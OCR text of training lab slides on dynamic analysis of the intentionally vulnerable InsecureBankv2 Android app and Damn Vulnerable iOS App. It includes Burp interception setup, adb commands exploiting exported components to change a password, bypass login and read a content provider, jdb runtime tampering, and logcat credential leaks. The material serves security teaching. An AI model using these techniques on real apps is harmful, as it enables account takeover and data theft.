Apart from the content of the SSL request, it is also possible to modify it
as desired.

E Burp Suite Free Edition v1.6 - + x
Burp Intruder Repeater Window Help

[Target TF'I'[-}.}" T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T QOptions TAIer‘ts ]

_[ Ir.t&rc&p-tT HTTP history TWebSockets history T Options ]

& i: Reguest to httgs:ff2.12?.252.183:443

ll Forwar: d J l Drop J [ Intercept is on | Action @ @
L
J Raw | Params | Headers | Hex |
[BET s HTTP/L1.1 Iy
Host: www.google.com r

Connection: keep-alive

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/*;q=0.8

X-Requested-With: com.android.browser

User-Agent: Mozilla/5.0 (Linux; U; Android 4.3.1; en-us; sdk Build/JB_MR2) AppleWebKit/534.30 (KHTML, like Gecko)
Version/4.0 Mobile Safari/534.30

Accept-Encoding: gzip,deflate

Accept-Language: en-US

Accept-Charset: utf-8, 1s0-8859-1, utf-16, *;q=0.7

Cookile:

NID=76=r0MUR] 7CI_rKqt8evRRawpr2VxIHbnS]ngMudhnocmwab7ul 1INgNdS7Y xWSF1Do - KBHGDgW1 Lxn17sggJdwY ppuePSk &Y mk r X03M] LBdvnH3Nt 80wl
pH- D?OfdtnLy 1bBITusvHthSw
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++$ Dynamic Analysis of an Android Application

Data Storage

= During this task, findings discovered during the static analysis will be reviewed
and all the files created in execution time will be verified.

Task

Verify that issues identified during the static analysis (passwords file, files in the
external storage mechanism, etc.) are present during the execution of the app.

Furthermore, check all the files created by the application in the execution time.

Expected result

A list including the files created by the application and measures that each of them
have implemented to access the information existing in them.
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++$ Dynamic Analysis of an Android Application

Data Storage

Solution
* First, analyse the content of the “shared prefs” folder:
> cd shared prefs

> 1s
shell@condor umts:/data/data/com.android.insecurebankv2/shared prefs % ls

com.android.insecurebankv2 preferences.xml

mySharedPreferences.xml

<?xml version="'1.0"' encoding='utt-8

<map=
<string name="serverport">8888</string=
<string name="serverip"=192.

</map=

shell@condor umts:/data/data/com.android.insecurebankv2/shared prefs § |

- Even if this information is included for the server’'s URL to be modified
during the learning process, such a configuration, would allow other
applications to modify the server’s address and thus, to send data to a
malicious server; above all, due to the lack of SSL connections.
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++$ Dynamic Analysis of an Android Application

Data Storage

Solution

« The second file shows the following data:
<?xml version='1.0' encoding='utf-8' standalone='yes

<string name="EncryptedUsername">amFjaw==
</string=

<string name="superSecurePassword"=v/sJpihDCo2ckDmLW5Uwiw==

@condor umts:/data/data/com.android.insecurebankv2/shared prefs %

« Data corresponds to the storage of user and password that has been
identified in the static analysis. As it was verified before, the key is

encrypted in the code.
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++$ Dynamic Analysis of an Android Application

Data Storage

Solution

« Then, inspect the “databases” directory.
> cd databases
* Observe the existence of a mydb file. In order to inspect the permissions
of such file, first, it is necessary to modify its permissions for it to be
removable from the emulator/device.
> chmod 777 mydb
« Logout the session of the user and adb.
> exit

From the console, execute:
> adb pull

/data/data/com.android.insecurebankv2/databases/myd
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++$ Dynamic Analysis of an Android Application

Data Storage

Solution

« As its name suggests, probably, it is a database file in sglite format (quite
common in moblle deV|ces) Therefore open the f|Ie with the Sgliteman tool,
available in Santc® s s we T

Pragmas PR P OB O

Col: 1 Row: 1/1

Sqlite: 3.8.2

« Even if the file does not seem to include relevant information, by the moment
, it is ready to store data such as credit cards, without encrypting it.
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++$ Dynamic Analysis of an Android Application

Data Storage

Solution

« Finally, review the external storage, since, during the static analysis, it
was verified that information was stored there:
> cd /sdcard
> 1s

« Performing an Is and, depending on the information existing in the SD
card, you can observe that a Statements_jack.html file is included.
« This file includes information related to transfers made from the device.

shell@condor umts:/ $ cd /sdcard
shell@condor _umts:/sdcard $ cat Statements jack.htm

« Given the location in which it is stored, all the applications will be able to
access the file.
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_¢¢> Dynamic Analysis of an Android Application

Data Storage

Solution

* In total, the following problems have been identified:
Server’s address stored without protection measures.
User and password of the service encrypted with a non-encrypted
key within the code of the application.
Database file of transactions that, in the moment of the revision is
empty, but according to its structure seems to include very sensitive
information (credit card).
Transaction file stored in the SD card (shared) without protection
measures.
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_¢¢> Dynamic Analysis of an Android Application

Vulnerable Components

= During the static analysis of the application, a series of vulnerable components
(Broadcast Receiver, Activities, and Content Providers) were identified. During
this activity, the existence of such vulnerabilities will be verified in a practical way.

Task

Prove the existence of vulnerable components in the application by
executing attacks on them. To perform this task, it is advisable to use the list
of components obtained during the static analysis and the decompiled code

in smali or Java format.

Expected result
A list including the components whose vulnerabilities have been verified and

evidences of the results obtained on them after each attack.
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++$ Dynamic Analysis of an Android Application

Vulnerable Components - BroadcastReceivers

Solution

* During the static analysis, the Broadcast Receiver “MyBroadcastReceiver was
identified to be exposed and susceptible to be attacked.

* The manifest of the application indicates the user that the action used to
activate the Broadcast Receiver is “theBroadcast”.

<receiver
android:name=".MyBroadCastReceiver"”
android:exported="true" >
<intent-filter>»
<action android:name="theBroadcast" >

<faction»
</intent-filter>
¢freceivers

* Conduct a search in JD-GUI to locate the parameters that the receiver
uses.

private void broadcastChangepasswordSMS(String paramStringl, String paramString2)
{
if (TextUtils.isEmpty(paramStringl.toString().trim(}))
{
System.out.println("Phone number Invalid.");
return;
}
Intent localIntent = new Intent();
localIntent.setAction("theBroadcast");
localIntent.putExtra("phonenumber”, paramStringl);
localIntent.putExtra("newpass", paramString2);
sendBroadcast(localIntent);
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++$ Dynamic Analysis of an Android Application

Vulnerable Components - BroadcastReceivers

Solution

« Verify that two parameters are received: the phone number and the new
password.
* Analyse the code of MyBroadcastReceiver.

public void onReceive({Context paramContext, Intent paramIntent)
{
String strl = paramIntent.getStringExtra("phonenumber");
String str2 = paramIntent.getStringExtral("newpass");
if (strl != null)
try
{
SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("mySharedPreferenc
this.usernameBase64ByteString = new String(Base6d.decode(localSharedPreferences.getString("Encr
String str3 = localSharedPreferences.getString("superSecurePassword”, null);
String strd4 = new CryptoClass().aesDeccryptedString(str3);
String str5 = strl.toString();
String str6é = "Updated Password from: " + strd + " to: " + str2;
SmsManager localSmsManager = SmsManager.getDefault();
System.out.println("For the changepassword - phonenumber: " + str3 + " password is: " + str6);
localSmsManager. sendTextMessage(strs, null, str6, null, null);
return;

}

catch (Fxrcention lncalFxcention)

* The operation sends an SMS informing of the update of the password. If
it is possible to call the receiver from other application, it would be
possible to modify the user’s password.
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++$ Dynamic Analysis of an Android Application

Vulnerable Components - BroadcastReceivers

Solution

* The console of the device allows us to send Intents without needing to create

an application to send them. This way, it is possible to check the response of an
application very quickly.

« Use adb to create an Intent that exploits a vulnerability of the receiver and sends
an SMS changing the user’s password.
« Use the following one:

> adb shell
> am broadcast -a theBroadcast -n
com.android.insecurebankv?2/com.android.insecurebankv2.MyBro

adCastReceiver --es phonenumber 123456 —-es newpass Prueba@@l23!
 Parameters:

-a (indicates the action)-
-n (indicates the component)-
—es (adds an extra to the intent in key format and then, value)-
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_¢¢> Dynamic Analysis of an Android Application

Vulnerable Components - BroadcastReceivers

Solution

« According to the Android version, a warning message will appear letting
the user know that a text message will be sent.

InsecureBankv2 would like to send a
message to 123456.

? This may cause charges on your mobile

 account.

Remember my choice

Cancel
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++$ Dynamic Analysis of an Android Application

Vulnerable Components - Activities

Solution

« During the static analysis it was verified that the PostLogin activity has
the attribute exported = true.

« It implies that it is possible to send it from other applications.

* By using a similar approach to the one used to exploit the

BroadcastReceiver.
> adb shell
> am start -n com.android.insecurebankv2/.PostLogin

 Parameters:
start indicates that an activity or services is going to start.
—-n indicates the path to the service or activity to start.
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_¢¢> Dynamic Analysis of an Android Application

Vulnerable Components - Activities

Solution

« Check how the application menu is loaded:

== Postlogin

Transfer

View Statement

Change Password

Device not Rooted!!

« This menu should be loaded only after having entered a valid user and
password.
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++$ Dynamic Analysis of an Android Application

Vulnerable Components - Content Providers

Solution

« During the static analysis of the application, it was verified that it stated a
Content Provider that could be accessed from other applications and was
not protected by permissions.

« The first thing to do in order to exploit it is to locate the URI that the
provider points at in the code. To this end:

> androlyze -s
> a, d, dx = AnalyzeAPK("InsecureBankv2.apk")
> z = dx.tainted variables.get strings()
> for 1 in z:
if ‘content' in 1[0].get info():
print 1[0].get info ()
print 1[0].show paths (d)

|t provides the following result among others:

content://com.android.insecurebankv?2.TrackUserContentProvider/t

rackerusersR
2 Lcom/android/insecurebankv2/TrackUserContentProvider; -
><clinit> ()V

sincibe__ *®°



++$ Dynamic Analysis of an Android Application

Vulnerable Components - Content Providers

Solution

* |f the URI is known:

content://com.android.insecurebankv?.TrackUserContentProvid
er/trackerusersR
It is possible to execute the following command from the shell of the

device/emulator.
> adb shell

> content query --uri
content://com.android.insecurebankv?2.TrackUserContentProvid
er/trackerusers

« This command makes a content provider request as if it was other
application of the system.
« The result obtained is the content of the tracking file:
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_¢¢> Dynamic Analysis of an Android Application

Runtime Handling

= Runtime handling allows the user to modify the behaviour of the application in
runtime.

= |t can be used to avoid protection measures implemented only in the client, to
discover elements hidden in the application (paid content, etc.) or analyse the
behaviour of an application against unplanned events.

Task

Use the Java debugger (jdb) to modify the behaviour of the login activity so
that, regardless the name that the user has entered, it is always exchanged
by other that makes the login fail.

Expected result
When the user clicks on “Login”, the application will log with a different user
that will be loaded after the failed attempt.
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++$ Dynamic Analysis of an Android Application

Runtime Handling

Solution

Applications debugging on Android is performed via jdb.

To use the debugger, it is necessary to know the port that it has to be
connected to. On the emulator, all the applications enable the connection
of the debugger through a port configured via adb.

In order to discover the port related to Insecure Bank v2, open the

console:
> ddms

MName

- B TestDevice [emulator-5554] Online TestDevice [4.3.1,
com.android.launcher 411 Y 8600
system_process 279 % 8602
com.android.mms 650 % 8604
com.android.inputmethod.latin 381 £ 8605
com.android.providers.calendar 623 Y 8608
android.process.media 356 g 8609
com.android.phone 398 % 863

ik com.android.insecurebankvz 755 Y 861 43

com.android.systemui 572 E-Y

Jdb should connect to 8614.

18015

sincibe_

283



++$ Dynamic Analysis of an Android Application

Runtime Handling
Solution

* Open jdb:
> jJdb —-attach localhost:8614
* In order to search a point in which our code may be executed, check the
list of methods that the class of the login activity has.
> methods com.android.insecurebankv?2.lLoginActivity

« All the methods that the class has are obtained.

11lback onKeyup(ir . 1t)

« The great amount of results is due to the fact that all the methods
inherited from other classes are included.
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++$ Dynamic Analysis of an Android Application

Runtime Handling

Solution

* The behaviour will occur when clicking the “Login” button.

* According to the application’s code, when such button is clicked, the
“performlogin” method is called; then:

> stop in com.android.insecurebankv2.lLoginActivity.performlogin

Set breakpoint com.android.insecurebankv2.loginActivity.performlogin

> |}
« Click the “Autofill credentials” button on the emulator and try to login. This is what
happens on the debugger:

Breakpoint hit:
Breakpoint hit: "thread=<1> main", com.android.insecurebankv2.loginActivity.perf
ormlogin(), line=148 bci=0

<1> main[1] ||
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++$ Dynamic Analysis of an Android Application

Runtime Handling

Solution

* By using the “where” command, the execution stack is obtained:

<1> main[1] where
[l] com.android. insecurebankv2.lLoginActivity.performlogin (LoginActivity.java:

1.android. insecur H|1|k.i.Luq1|H tiv 1T $1.onClick (LoginActivity.java:62)

view. Vi rmClick (View.jav 4,240)

view.ViewSPerformClick. run (View.java:17
"?'_.mﬂ.Haﬁdle".ﬂa1d1ﬁfa111a:b |H1|d1H 11 a:
roid.os.Handler.dispatchMessac
android.os.Looper.loop (Loop

android.app.ActivityThread. main (Activ 'ityThread. java:5,183)

9] java.lang. "'1"T rEtIUd.ll eNative ||1Tl e FHTlndl
18] java.lang.r e 325

:nr.aﬁd"ald.1|t¢ |;l.uJ.L:guteI|1t_ret|udhudh'g5Lalle"."41 (ZygoteInit.ja

3
3

d
and
3

:

e

I'-'I |:1 W Fad I
[12] com.android.internal.os.ZygoteInit.main (ZygoteInit.java:553)
[13] dalvik.system.NativeStart.main (native method)

<1> main[1]
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++$ Dynamic Analysis of an Android Application

Runtime Handling

Solution

« Then, change the user with the following commands:
> eval this.Username Text = ((EditText) findViewById(2131558520));
> eval this.Username Text.setText ("NoJack")

> eval this.Username Text.getText ()

1> main[1] [i

« The last line can be used to verify that the value of the variable has changed, even
if the interface has not been updated yet because the process is stopped.
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_¢¢> Dynamic Analysis of an Android Application

Runtime Handling

Solution
«  \Write:
> cont

« To continue the execution and observe how the noJack value is received
in the server and, thus, the connection of the user is not accepted.

* The new name of the user is displayed on the application until the server
error is received and the activity is restarted.
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_¢¢> Dynamic Analysis of an Android Application

Revision of the Application’s Logs

= During the static analysis of the application, a series of calls to System.out.print
and the Android’s logging library were identified. In this task, the specific
information that is being leaked through the system’s logs will be checked.

Task
List the information leaked to the system’s logs by the application.

Expected result
A list including the different information elements leaked to the logs as well

as the moment in which they are leaked according to the use of the
application.
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++$ Dynamic Analysis of an Android Application

Revision of the Application’s Logs

Solution

- During the static analysis, it was verified that calls to logs and the

standard outgoing calls were made in:
DoLoginSRequestTask; ->postData
ChangePassword$RequestChangePasswordTask$S1l; —>run

ChangePassword; ->broadcastChangepasswordSMS
DoTransferSRequestDoTransferTaskS$S1l; ->run
MyBroadCastReceiver; ->onReceive
ViewStatement; ->onCreate

« Load the system’s log in the console:
> adb logcat
« Then, make the application use the elements found in order to verify the

output of each of them.
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++$ Dynamic Analysis of an Android Application

Revision of the Application’s Logs

Solution

« To:
DoLoginSRequestTask; ->postData

 Introduce the correct credentials on the Login screen:
User: jack
Password: Jack@123$%

* Observe the logcat and verify:

D/Successful Login:( 881): , '::mjﬁt=jaih:la:h3123%

I/ActivityManager( 277):
as extras)} from pid 881

LI —=f
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++$ Dynamic Analysis of an Android Application

Revision of the Application’s Logs

Solution

« Once in the application, verify:
ChangePassword

« On the menu, go to change password and write the new one:
Jack@456%
« Observe the logcat and verify:

)/dalvikvm(

/ tem.outl
/System.out| )
5: Updated Passworc

* That it corresponds to information leakage created by changing the password
for ChangePassword and MyBroadcastReceiver
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_¢¢> Dynamic Analysis of an Android Application

Revision of the Application’s Logs

Solution

* Leave the and restart it with the new credentials to verify:
DoTransfer

- Select the option to make transfers.

« Select “Get Accounts” for data of the transfer to be loaded.
* Add a quantity and click “Transfer”.

« Observe the logcat and verify:
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_¢¢> Dynamic Analysis of an Android Application

Revision of the Application’s Logs

Solution

 Then, check:

ViewStatements

« On the main menu, select the option to observe transactions.
* Observe the logcat and verify:

’77): onLoadSoundEffects(), Error -1 whil

881): /storage/sdcard/Statements jack.html

féﬁt;v:tyraﬁaQE"i 277): Displayed com.android.insecureba

5334ms

* It indicates the location of the files loaded.
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++$ Dynamic Analysis of an Android Application

Conclusions

=  Summary of conclusions regarding the analysis of the application:

There are components of the application that provide access to protected APIs that are
accessible from other applications, but are not protected properly.

It is possible to access the contents of the Content Provider created by the
unauthorised application.

All the connections with the outside are performed with non-encrypted HTTP
connections. It allows users to intercept and modify them.

The application stores sensitive information in the SD card or in the internal storage
without encrypting it.

During its execution, the application leaks sensitive data to the system’ logs.

Generally, it is possible to modify the execution flow of the application. If there is any
protection measure implemented on the client, this mechanisms could deactivate it.
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++$ Dynamic Analysis of an Android Application

Additional Task

= You can go in depth on dynamic analysis techniques by executing the same

dynamic analysis tasks on the vulnerable applications mentioned during the
static analysis.

= |n addition, you can execute dynamic analysis tasks with the gark application or
drozer (though it has not been reviewed in this course).

= Due to time constraints, it was impossible to review all the vulnerabilities the
InsecureBank includes, we encourage you to complete the dynamic and static
analysis to find new vulnerabilities that have not been reviewed during this

laboratory:

Weak encryption.
Server vulnerabilities.
Handling of parameters on Intents.

Insecure WebViews.
Modification of vulnerable password.
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++4 Dynamic Analysis of an 10S Application

Introduction

= |n this laboratory, the analysis conducted on “Damn Vulnerable iOS app” will be
completed.

= In this case, a dynamic analysis of the application will be conducted.
= The structure of the laboratory has been divided into the following sections:
Initial preparation of the environment.
Preparation of applications for the dynamic analysis.
Initial preparation of the environment.
Analysis.
Conclusions of the analysis.

= NOTE: PLEASE, PERFORM ALL THE TASK ON A DEVICE THAT DOES NOT
INCLUDE PERSONAL DATA OR APPLICATIONS, SINCE THEIR INTEGRITY
AND CONFIDENTIALITY MAY BE COMPROMISED.
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Emulator

If the source code of the application is available, the iOS simulator will allow us to
execute many tasks of the dynamic analysis.

Generally, the I0OS simulator cannot be configured and will only execute the
application sent via Xcode.

The network connections created by the simulator are exactly the same as the
ones created by any application of the system.

In order to capture the different network connections, two tasks should be
performed:

Configure the system’s proxy in which the simulator is executed so that it sends traffic
through a web proxy (Burp in the VM of Santoku):
o The configuration of proxy in the case of iOS is exactly the same as in Android.

o Itis necessary to make sure that the virtual machine has the network interface in Bridged
mode.

Add the server’s certificate to the simulator in order to capture SSL connections.
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_*0 Dynamic Analysis of an 1I0S Application

Preparation of the Environment - Proxy

= In this task Santoku’s proxy and the computer in which the iOS simulator is
executed will be configured so that requests of the simulator are redirected to the

Proxy.

Task

Run the proxy server with the interception deactivated and configure the
machine in which the simulator will be executed so that it sends non-
encrypted and SSL traffic through the Santoku’s proxy.

Expected result
The proxy server running and all the connections of the machine in which
the simulator will be executed being sent to the proxy.
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
Proxy configuration
« Open Burp Suite Free Edition again; it is included in Santoku.

) @ Development Tools rl & Burp Suite l
i3 Sound & Video * @ Device Forensics v
 system Tools » - © hmap
£+ Preferences , |l Reverse Engineering v | # SSLSkrip
i Wireless Analyzers v % w3af (Console)
Run @ Help ¥ w3af (GUI) I
2 Logout © Tutorials ) ZAP

“W@QE I- §F4 Android ... ™ Zenmap (asrook) '

« Once opened, select Proxy and Options tab.

rget | P romy T Spider T Scanner T Intruder T Repeater T Sequen

o

ercept T HTTP histary T WebSockets history T Options

| SSMRRURRR [ N S ——
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
* In Proxy Listeners, make sure that the listening is set in all the interfaces.

Add Ri B Edit proxy listener - + X
Edit J Binding T Request handling T Certificate ]
mj EJ These settings control how Burp binds the proxy listener.
Bind to port: 8080
Eind to addr — il
Each installation @ All interfaces &
for use in other t
o) ss: [127.0.0.1 2
CA certificate .

Intercept Clig|

Use these setting

 Intercept requ

s | [

Edit | ok || cancel |
| Remove | O And URL Is in target scope I3
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution

* In this case, make sure that the virtual machine has an interface in
Bridged mode.

* Click on the bottom rifgrrr=rrs

+/ Connect Network Adapter

« Change the interface to Bridged in case this option is not selected yet.

Adapter 1 Adapter 2 Adapter 3 Adapter 4

v | Enable Network Adapter
Attached to: | Bridged Adapter B
Name: = en0: Wi-Fi (AirPort) o

¥ Advanced

sincibe_
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
* In the “Request handling” tab, verify that the “Support invisible proxying”
option is activated.

E Edit proxy listener

Bindin J Request handling ]ICer'tificate ]

EJ These settings contral whether Burp redirects requests received by this listener.

Redirect to host:

Redirect to port:

[] Farce use of S5L

Invisible proxy support allows non-proxy-aware clients to connect directly to the listener.

[ Supparf invisible proxving (enable only if needed)

+ Click “Ok” to accept changes.

sincibe_
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_¢+> Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
* Go to the “Intercept” tab and deactivate the “intercept” option not to
interrupt normal connections of the machine to be configured.

| Target | Prnxy] Spider | Scanner ] Intruder ] FRepeater ] Sequencer ] Decoder

_[ Intercept] HTTP history | WehSockets history ] Options ]

Forward Drop l Intercept is off J Action

Raw Params Headers Hex
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution

Configuration of the machine that executes the simulator

« To redirect the simulator’s request, it is necessary to redirect all the
connections of the system that executes it to the proxy.

* Open the system’s option and go to the network section.

@ System Preferences Q |
o —= o2 €
B o ¢
General Desktop & Dock Mission Language Security Spotlight  Notifications
Screen Saver Control & Region & Privacy
[ : = N
Displays Energy Keyboard Mouse Trackpad Printers & Sound
Saver Scanners
K I ‘
s © u O @
iCloud Internet Extensions Bluetooth Sharing
Accounts
> L & A © ©
1 ® © ¥ & =
Users & Parental App Store Dictation Date & Time Startup Time Accessibility
Groups Controls & Speech Disk Machine
on L -
£ : ,
= | ,- ®
Flash Player Java MySQL TeX
Distribution
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
« Select the active network card and “Advanced...” on the bottom left hand
side.

i bar Advanced... ?

« On the Proxies tab, configure the HTTP and HTTPS with the IP address
Of SantOku and th' Wi—;:i TCPﬂ;: .DN-S ;NS 802.1-)( | Proxies | ;;rdware .

Select a protocol to configure: Web Proxy Server

~| Auto Proxy Discovery 192.168.0.63 : 8080

~Automatic Proxy Configuration ;
- Proxy server re quires passwor d

Secure Web Proxy (HTTPS) Username:

~| FTP Proxy

SOCKS Proxy

~| Streaming Proxy (RTSP)

~| Gopher Proxy

Password:
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++4 Dynamic Analysis of an 10S Application

reparation of the Environment - Proxy

Solution
* Accept changes and select Apply.

tatus in menu bar Advanced... ?

Assist me... Revert Apply

« To check the proper functioning of the proxy, navigate and verify the
result on Burp.

E Burp Suite Free Edition v1.6 -+ %
Burp Intruder Repeater Window Help

Target | Proy | Spider | Scanner | intruder | Repeater | Sequencer | Decader | comparer | Extender | options | Alerts
[ intercept [ HTTP history | WebSockets history | @ptions

| Filter: Hiding CSS. image and general binary content @
# 4 Host | Method | URL | Params | Edited | Status |Length | MIME type | Extension | Title

1 https:fiwww.google.es GET J7gws_rd=ssl €] O 200 80373 HTML Google [a
2 hittp: jwww. elmundo_es GET 8] O 200 228622 HTML EL MUNDO - Diario

4 https: ffclientsL.google.com  GET  Jjcomplete/search?json=t&nalab @ O 200 481 JSON

5 http: fiww. elmundo. es GET 5] O 200 228623 HTML EL MUNDO - Diario

6 https:ffclientsl.google.com  GET  jcomplete/search?json=t&nolab @ o 200 425 Js0N

7 https: ffclientsl.google.com  GET Jeomplete/search?json=t&nolab, @ o 200 436 Json

8 https:ffclientsl.gaogle.com  GET  Jcomplete/searchrjson=t&nolah @ o 200 425 150N

s http: jwww. elmundo. es GET 8] O 200 228622 HTML EL MUNDO - Diario

10 https:siclientsl.google.com  GET  jcomplete/search?json=t&nalab @ O 200 370 JSON

11 httpsisclientsl.google.com  GET  jcomplete/search?json=t&nolab @ o 200 507 Js0N

12 httpsisclientsl.google.com  GET  jcomplete/search?json=t&nolab @ o 200 514 Js0N

13 https: ffclientsl.google.com  GET Jeomplete/search?json=t&nolab, @ o 200 518 Json

14 https:ficlientsl.google.com  GET  jcomplete/search?json=t&nalab @ O 200 527 JsoN '
115 bbn s nonnle ac =ET L o o 0 LTy 02 bovad

< LD

« Since the root certificate of Burp has not been installed in our browser,
SSL connections will display security messages.
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_*0 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

= In this task Santoku’s proxy and the computer in which the iOS simulator is
executed will be configured so that requests of the simulator are redirected to the

Proxy.

Task
Install the root certificate of Burp in the iOS simulator.

Expected result
The proxy server will be able to inspect SSL connections made via the
simulator.
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++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
Configuration of the emulator

In its current state, the simulator already sends all its requests to the

proxy, but it establishes all SSL connections as dangerous, since the

certificates created by Burp are not signed by a CA in which the simulator

relies.

In order to solve it, being Burp on, navigate from the simulator to
http://burp

Select the option to make transfers.

sincibe__ 3


http://burp/

++4 Dynamic Analysis of an 10S Application

Preparation of the Environment - Proxy

Solution
« The simulator displays the window with the information of the certificate.

Carrier = 5:59 PM Carrier = 5:59 PM
Cancel Install Profile Cancel Warning

ROOQT CERTIFICATE

@ PortSwigger CA Installing the certificate “PortSwigger CA" will

add it to the list of trusted certificates on your
iPhone.
Signed by PortSwigger CA
Mot Verified

Contains Certificate UNVERIFIED PROFILE

More Details The authenticity of “PortSwigger CA” cannot
m=al)> be verified.

* Once installed, it will be possible to inspect traffic and navigate to SSL addresses
without alerts
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_*0 Dynamic Analysis of an 1I0S Application

Verification of Unencrypted Data Transmission

= In this task, check the transmission of non-encrypted data.

Task

Verify that the non-encrypted connection detected during the static analysis
of the application sends non-encrypted data to the internet.

Expected result
Evidences (capture in the proxy) with data intercepted from the request.

sincibe__ 3



++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution

* Run the application via Xcode.

« On the application’s menu, navigate to the “Transport Layer Protection”
option (it is the controller that was detected during the static analysis).

iPhone 6 - iPhone 6 [ i0S 9.1 [EB137} iPhone 6 - iPhone & / i0S 9.1 (13B137)
Carrier = 7:05 PM
Insecure Data Storage

Menu Transport Layer Protection

Jailbreak Detection There are three ways to send data over the

network, use HTTP, use HTTPs, or use SSL/

Extensions Vulnerabilities Cert pinning to check a hardcoded certificate
against the certificate provided by the server

Runtime Manipulation to prevent MITM attacks. Your task is to
intercept the information being sent over the

Sensitive Information in memory network when the *Send” button is tapped in

all the three cases.

Attacks on third party libraries

Read an article on Transport Layer protection
Piracy Detection

Security Decisions via untrusted
input

Broken Cryptography
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++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution

« The screen displayed allows us to send fictitious data of a credit card
form, using connections such as HTTP, HTTPS or HTTPS with pinning
certificate.

« Try to fill data and send the form using HTTP.

Carrier = 7:10 PM -

Menu Transport Layer Protection

to prevent attacks. Your task is to
intercept the information being sent over the
network when the "Send" button is tapped in
all the three cases.

1234 5463 2321 4324

Card ho\deri

« A confirmation message will be displayed, but nothing will appear on
Burp.
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++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution
« Check the application’s log on Xcode (it is necessary to activate the
bottom panel) and the following message is presented.

2816-82-81 19:10:18.898 DamnVulnerableIOSApp[l4373:B684947] App
Transport Security has blocked a cleartext HTTP (http://)
resource load since it is insecure. Temporary exceptions can be
configured via your app's Info.plist file.

« 910S version blocks the execution of HTTP requests by default, in order
to protect the device from possible sending of sensitive information by
careless developers.

« This solves he problem only partially, but it is always possible to add
exceptions.

- Add an exception to verify the result of an insecure configuration of the
application.

sincibe__



++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution
* On the project window, open the project configuration file.

' |ENTamnVulnerablel0SApD
b =5 Couchbaselite.framework
> |f3{ Bolts.framework

* On the Info tab, add a new key by clicking the “+” button on some of the
existing ones.
The key should be called NSAppTransportSecurity and its
dictionary should include the NSAllowsArbitraryLoads Key with
YES value.

E ] Genera | Capabilities Resource Tags Info Build Settings Build Phases

¥ Custom iOS Target Properties

Bundle versions string, short +  String 20
Bundle identifier 4+ String com.highaltitudehacks.dvia
¥ App Transport Security Settings +  Dicticnary (1item)
Allow Arbitrary Loads 3 O©@ Boolean 2 YES
InfoDictionary version & 5tri 6.0
Main storybeard file base name s+ String Main

Bl imeninn

S IeIE
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++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution

- Stop the application, restart it and try to send the for

[ ] P @m DamnYulnerablelOSApp iPhone 6

Eaa o =

DamnVulnerablelQf

Check the result on Burp.

7:33 PM

Menu Transport Layer Protection

There are three ways to send data over the
network, use HTTP, use HTTPs, or use SSL/
Cert pinning to check a hardcoded certificate

against the certificate provided by the server
to prevent MITM attacks. Your task is to

intercept the information being sent over the

network when the "Send" button is tapped in
all the three cases.

Read an article on Transport Layer protection

123456678

Card holderl

m again.
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++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution
212 https:jfdata.flurry.com POST Jaas.do (] O 200
213 https:/fdata.flurny.com POST Jaas.do ] O 200
215 | http:/fgoogle.com | POST ¢ £ ] 405 ]
< /

_[ Request T Response ]

_[ Raw T Params T Headers I Hex ]

POST / HTTR/1.1

Host: google.com

Content-Type: application/x-www-Tform-urlencoded; charset=utf-g
Connection: keep-alive

Proxy-Connection: keep-alive

Accept: */*

User- Agent: DamnvulnerableIOSApp/2.0 CFNetwork/758.1.6 Darwin/15.3.0
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Content-Length: 86

{
"card_cwy" @ "123",
"card number" : "123456678",
"card name" : "Card holder"
b

* Itis possible to see the content of the HTTP request.

« This result shows that during the analysis of iOS applications, the
existence of this parameter in the info.plist file should be verified to find
the exceptions existing in the application.
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++4 Dynamic Analysis of an 10S Application

Verification of Unencrypted Data Transmission

Solution
* On the project window, open the project configuration file.

QA o == = |
T rabplel0SApp.xcod

- € DamnVulnera
b (= CouchbaseLite. framework
» |f-'-] Bolts. framework

« On the Info tab, add a new key by clicking the “+” button on some of the
existing ones.
The key should be called NSAppTransportSecurity and its
dictionary should include the NsAllowsArbitraryLoads key with
YES value.

b Genera | Capabilities Resource Tags Info Build Settings Build Phases

¥ Custom iOS Target Properties

Bundle versions string, short y String 20
Bundle identifier +  String com.highaltitudehacks.dvia
¥ App Transport Security Settings %+  Dictionary (1 item)
Allow Arbitrary Loads 3+ OO0 Boolean o YES
InfoDictiznary version A S 6.0
Main storybeard file base name 4 String Main

Biimddle imeninn

Pl LI L™= | ™ ] =
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_*0 Dynamic Analysis of an 1I0S Application

Verification of SSL Data Transmission

= Then, verify the SSL connection.

Task

Verify that the executed proxy is able to capture data sent via SSL
connection in the two modes existing (with and without certificate pinning).

Expected result
Evidences (capture in the proxy) with data intercepted from the request.
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++4 Dynamic Analysis of an 10S Application

Verification of SSL Data Transmission

Solution
« Send the form again, but via SSL connection.

rrier = 7:33 PM ¢

Menu Transport Layer Protection

There are three ways to send data over the
network, use HTTP, use HTTPs, or use SSL/
Cert pinning to check a hardcoded certificate
|against the certificate provided by the server
[to prevent MITM attacks. Your task is to
lintercept the information being sent over the
network when the "Send" button is tapped in
all the three cases.

Read an article on Transport Layer protection

123456678

Card holderl

« Check that no requests appear on Burp.
* Itis due to the fact that the code of the example is not updated to the last
IOS version. Update it.

sincibe__



++4 Dynamic Analysis of an 10S Application

Verification of SSL Data Transmission

Solution

* Inthe lastiOS version, it is necessary that all the connections implement any

type of challenge on the delegate method
